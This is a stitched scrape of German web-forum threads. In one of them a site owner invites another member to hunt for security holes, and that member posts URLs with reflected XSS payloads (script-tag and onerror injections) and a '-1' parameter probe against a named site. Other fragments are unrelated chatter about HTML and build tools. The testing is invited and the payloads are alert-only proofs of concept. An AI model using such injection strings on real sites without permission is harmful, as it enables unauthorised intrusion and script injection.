Matthias Lang
Mitglied
Das kannst du dann aber gerne machen, wenns halbwegs fertig ist. Wenn du willst kann ich dir dann eine Demo bereitstellen.
Frage Idee gesucht :D
- Ersteller MaTTaDox
- Erstellt am
nookie
I did it all for the nookie
Gerne, warum auch nicht. Einfach PN mit Link schicken und evtl. Test-Zugangsdaten.
MaTTaDox
Mitglied
Wenn du gerne auf sicherheits lücken testest, hab 2 seiten für dich ^^:Achso, schade. Mich interessiert es eigentlich nur, weil ich gerne auf Sicherheitslücken teste.
- http://lolrise.com
- http://mattadox.de
Natürlich nur wenn du mir bei der lösung von Problemen helfen kannst ;D
nookie
I did it all for the nookie
http://lolrise.com/?s=search&suche="><script>alert("XSS")</script>&typ=EUW&Suchen=Suchen
http://lolrise.com/index.php?s=champions&cid="><script>alert(0)</script>
http://lolrise.com/index.php?s=summoner&sid="><script>alert(0)</script>
http://lolrise.com/index.php?s=summoner&sid=-1
Login funktioniert noch nicht oder ?
http://lolrise.com/index.php?s=champions&cid="><script>alert(0)</script>
http://lolrise.com/index.php?s=summoner&sid="><script>alert(0)</script>
http://lolrise.com/index.php?s=summoner&sid=-1
Login funktioniert noch nicht oder ?
nookie
I did it all for the nookie
Doch nicht ganz, konnte bisher eins wieder aushebeln:
http://lolrise.com/?s=search&suche="onerror=javascript:alert(0)//&typ=EUW&Suchen=Suchen
http://lolrise.com/?s=search&suche="onerror=javascript:alert(0)//&typ=EUW&Suchen=Suchen
nookie
I did it all for the nookie
scbawik
Senior HTML'ler
Du machst mich echt fertigda ist man hier am einfügen von Funktionen und sie werden direkt getestet, aber ich muss dich enttäuschen so wieder link da steht kommt bei mir weder in FF noch in Google Chrome ein alert(0)
Hat jetzt zwar nichts mit Sicherheitslücken zu tun, aber dein HTML hat keinen <!DOCTYPE>…
MaTTaDox
Mitglied
Okay
danke ich dachte ich müsste jetzt noch einen Spzeiellen nehmen.Im moment habe ich festgestellt, das es mir probleme mit Calc() macht wenn ich diesen einsetze also lasse ich es doch erstmal
headhunter
Neues Mitglied
Nookie :'D
Grunt und Gulp sind overloaded...jedes Mal nen Datensalat für nix. Lieber npm-packages mit allen benötigten Funktionen. Dann ist man auch nicht darauf angewiesen bis das Wunsch-Plug für Gulp oder Grunt rauskommt. Das hat mittlerweile sogar t3n begriffen Und das will was heißen!
Greetz
Grunt und Gulp sind overloaded...jedes Mal nen Datensalat für nix. Lieber npm-packages mit allen benötigten Funktionen. Dann ist man auch nicht darauf angewiesen bis das Wunsch-Plug für Gulp oder Grunt rauskommt. Das hat mittlerweile sogar t3n begriffen
Und das will was heißen! Greetz
nookie
I did it all for the nookie
Was ist mit mir ? ^^Nookie :'D
Grunt und Gulp sind overloaded...jedes Mal nen Datensalat für nix. Lieber npm-packages mit allen benötigten Funktionen. Dann ist man auch nicht darauf angewiesen bis das Wunsch-Plug für Gulp oder Grunt rauskommt. Das hat mittlerweile sogar t3n begriffen
Greetz
headhunter
Neues Mitglied
nookie
I did it all for the nookie
Immer mit einem Pokeball, auf der Jagd nach Cross-Site Scriptomon und SQL Injecto. ;)Der gute XSS-Detektiv
